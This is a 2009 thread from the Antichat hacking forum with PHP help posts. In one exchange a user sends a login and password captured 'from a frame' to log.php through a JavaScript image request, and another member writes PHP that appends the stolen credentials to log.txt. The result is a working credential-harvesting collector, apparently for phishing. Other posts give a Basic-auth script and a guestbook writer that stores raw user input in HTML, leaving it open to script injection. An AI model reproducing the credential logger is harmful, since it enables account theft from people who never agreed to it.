Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

14.11.2009, 14:40
|
|
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме: 3799424
Репутация:
479
|
|
Сообщение от Gef3Dx
Проблем может быть несколько!
1. Если там есть пути типа /home/названия сайта/ и т.д. проверь их! Так как на localhost они другие!
2. Настройка PHP создай на хосте файл info.php а в нем пропиши:
И посмотри включена ли функция STR!
1) там какбэ
PHP код:
function site() {
$host = 'http://'.$_SERVER['HTTP_HOST'];
$directory = dirname($_SERVER['SCRIPT_NAME']);
$website = $directory == '/' ? $host.'/' : $host.$directory.'/';
return $website;
}
2)Функция? Может модуль? во всяком случае подобного нет. 
|
|
|
запись данных из фрейма в файл |

14.11.2009, 22:35
|
|
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме: 1003859
Репутация:
0
|
|
запись данных из фрейма в файл
JavaScript передаёт логин и пароль из фрейма, на php
таким кодом:
Код:
............
img = new Image();
img.onload = p();
img.src = "log.php?c=" + login + ';' + pass;
помогите пожалуйста сделать запись этих данным в файл.
|
|
|

14.11.2009, 22:40
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
PHP код:
if(isset($_GET['c']) || !empty($_GET['c'])){
$open = fopen('log.txt','a');
fwrite($open,$_GET['c']."\r\n");
fclose($open);
}else{
header("Location: index.php");
}
|
|
|

15.11.2009, 01:18
|
|
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме: 1003859
Репутация:
0
|
|
странно... не получается, по пробовал на виртуальном сервере, создает файл
log.php c=логин;пароль
что я не так делаю?
|
|
|

15.11.2009, 02:09
|
|
Участник форума
Регистрация: 24.08.2009
Сообщений: 145
Провел на форуме: 285318
Репутация:
17
|
|
xxxBARTONxxx
Почему log.php c=логин;пароль
должно быть
log.php?c=логин;пароль
|
|
|

15.11.2009, 02:20
|
|
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме: 1003859
Репутация:
0
|
|
в джава скрипте написано
img = new Image();
img.onload = p();
img.src = "log.php?c= " + login + ';' + pass;
при запуске на виртуальном сервере, ничего не записывает в файл log.txt, методом пользователя "m0Hze", а создает новый файл
log.php c=логин;пароль (именно так, знак вопроса заменяется пробелом)
сори, плохо разбираюсь в этом))
но вроде правильно делаю.
Последний раз редактировалось xxxBARTONxxx; 15.11.2009 в 02:23..
|
|
|

15.11.2009, 02:27
|
|
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме: 1003859
Репутация:
0
|
|
может есть другой способ сохранить логин и пас из фрейма?
|
|
|

15.11.2009, 13:22
|
|
Новичок
Регистрация: 27.09.2009
Сообщений: 8
Провел на форуме: 14605
Репутация:
-5
|
|
Сообщение от xxxBARTONxxx
может есть другой способ сохранить логин и пас из фрейма?
Есть такой способ!
1. создаешь базу MySQL
2. создаешь в ней таблицу userlist
3. в userlist поля id, user, pass
4. создаешь файл lock.php и встовляешь в него вот такой код:
PHP код:
$db = mysql_connect ("localhost","имя пользвателя(root)","пароль к нему");
mysql_select_db ("имя базы",$db)
if (!isset($_SERVER['PHP_AUTH_USER']))
{
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}
else {
if (!get_magic_quotes_gpc()) {
$_SERVER['PHP_AUTH_USER'] = mysql_escape_string($_SERVER['PHP_AUTH_USER']);
$_SERVER['PHP_AUTH_PW'] = mysql_escape_string($_SERVER['PHP_AUTH_PW']);
}
$query = "SELECT pass FROM userlist WHERE user='".$_SERVER['PHP_AUTH_USER']."'";
$lst = @mysql_query($query);
if (!$lst)
{
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}
if (mysql_num_rows($lst) == 0)
{
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}
$pass = @mysql_fetch_array($lst);
if ($_SERVER['PHP_AUTH_PW']!= $pass['pass'])
{
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}
}
5. В файлах которые надо залочить точнее запаролить пишешь в самом верху кода просто:
Последний раз редактировалось Gef3Dx; 15.11.2009 в 13:35..
|
|
|

15.11.2009, 14:24
|
|
Познающий
Регистрация: 25.10.2009
Сообщений: 54
Провел на форуме: 62271
Репутация:
9
|
|
Помогите пожалуйста:
Вот форма: <INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
Вот запись:
PHP код:
if(isset($_POST['mess'])){
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$m = $_POST['mess'];
$m = trim($m);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
} s
Но всёравно при нажатии submit записывается пустое место,а при обновлении страницы повтряется старый запрос,как исправить?
|
|
|

15.11.2009, 14:38
|
|
Новичок
Регистрация: 27.09.2009
Сообщений: 8
Провел на форуме: 14605
Репутация:
-5
|
|
Сообщение от N2kroot
Помогите пожалуйста:
Вот форма: <INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
Вот запись:
PHP код:
if(isset($_POST['mess'])){
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$m = $_POST['mess'];
$m = trim($m);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
} s
Но всёравно при нажатии submit записывается пустое место,а при обновлении страницы повтряется старый запрос,как исправить?
Форма:
PHP код:
<form name="form1" method="post" action="файл с твоим обрабочиком тобишь твой код (kod.php)">
<INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
</form>
kod.php
PHP код:
if(isset($_POST['mess'])){
$mess = $_POST['mess']
} else {
echo ("Переменная mess не передона");
}
if ($mess == '') {
echo ("Переменная mess пуста");
} else {
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$mess = trim($mess);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
}
Последний раз редактировалось Gef3Dx; 15.11.2009 в 14:46..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|